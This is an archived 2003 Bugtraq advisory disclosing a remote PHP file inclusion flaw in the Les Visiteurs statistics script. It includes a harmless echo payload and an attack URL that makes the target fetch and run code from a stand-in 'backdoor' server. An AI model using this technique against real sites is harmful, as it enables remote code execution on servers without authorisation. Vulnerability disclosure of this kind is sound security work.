Les Visiteurs v2.0.1 code injection vulnerability

From: Matthieu Peschaud (bugtrack_at_chezwam.net)
Date: 10/26/03

  • Next message: Francisco Andrades: "Re: Java 1.4.2_02 InsecurityManager JVM crash"
    Date: 26 Oct 2003 01:45:52 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    Les Visiteurs is a great statistics script written in php.
    It gives you some graphicals informations on visitors of
    your website.

    This script was distributed by phpinfo.net but is no more
    maintained since a year.

    ---------
    In this version severals unprotected includes can be found
    in files:

    - include/config.inc.php
    - include/new-visitor.inc.php

    It is possible to include a php file from a backdoor server,
    and execute it on the target's server.
    You just have to create on the backdoor srv these files:
    - lang/<lang>.inc.php
    - db/db_mysql.inc.php

    fill one with something like:
    <?
    echo '<?
    echo "<br><br>included from backdoor server :p<br>";
    ?>';
    ?>

    and call an url as:
    http://host/path/include/config.inc.php?lvc_include_dir=http://backdoor/
    ---------

    Because the script is not maintained and will not be patched,
    i make some tarballs with a patched version.

    You will find it at this url:
    http://chezwam.net/main/publications/lesvisiteurs/

    Matthieu Peschaud
    Epita - France


  • Next message: Francisco Andrades: "Re: Java 1.4.2_02 InsecurityManager JVM crash"

    Relevant Pages

    • Re: [PHP] PHP console script vs C/C++/C#
      ... My script is taking a longer time to execute than I want. ... I prefer to write in PHP because that is what I know best. ... This is why I am thinking about rewriting my whole script in a C language. ... Perhaps there are different methods I could be using to speed up execution. ...
      (php.general)
    • Re: How to Add a Feeback Form
      ... I saw nothing in that script that indicates where the form is e-mailed to so ... Greg Maxey/Word MVP ... PHP or not. ... have the support available yet. ...
      (microsoft.public.frontpage.programming)
    • How best to show PHP source? (was: One page, multiple submit buttons)
      ... script to add to the top of a PHP script to enable showing its ... Maybe anybody submitting their own PHP code for critique here ... Anything posted to a newsgroup is a "snapshot" of what the ... there ought to be a FAQ for this ...
      (comp.lang.php)
    • Re: [PHP] PHP console script vs C/C++/C#
      ... My script is taking a longer time to execute than I want. ... I prefer to write in PHP because that is what I know best. ... thinking about rewriting my whole script in a C language. ... execution of the code. ...
      (php.general)
    • Email form script
      ... I have a web form that posts to a .php ... who cannot run .php on their server. ... Or does anyone have a .asp script that will ... Thank you for choosing FormToEmail by FormToEmail.com ...
      (microsoft.public.scripting.jscript)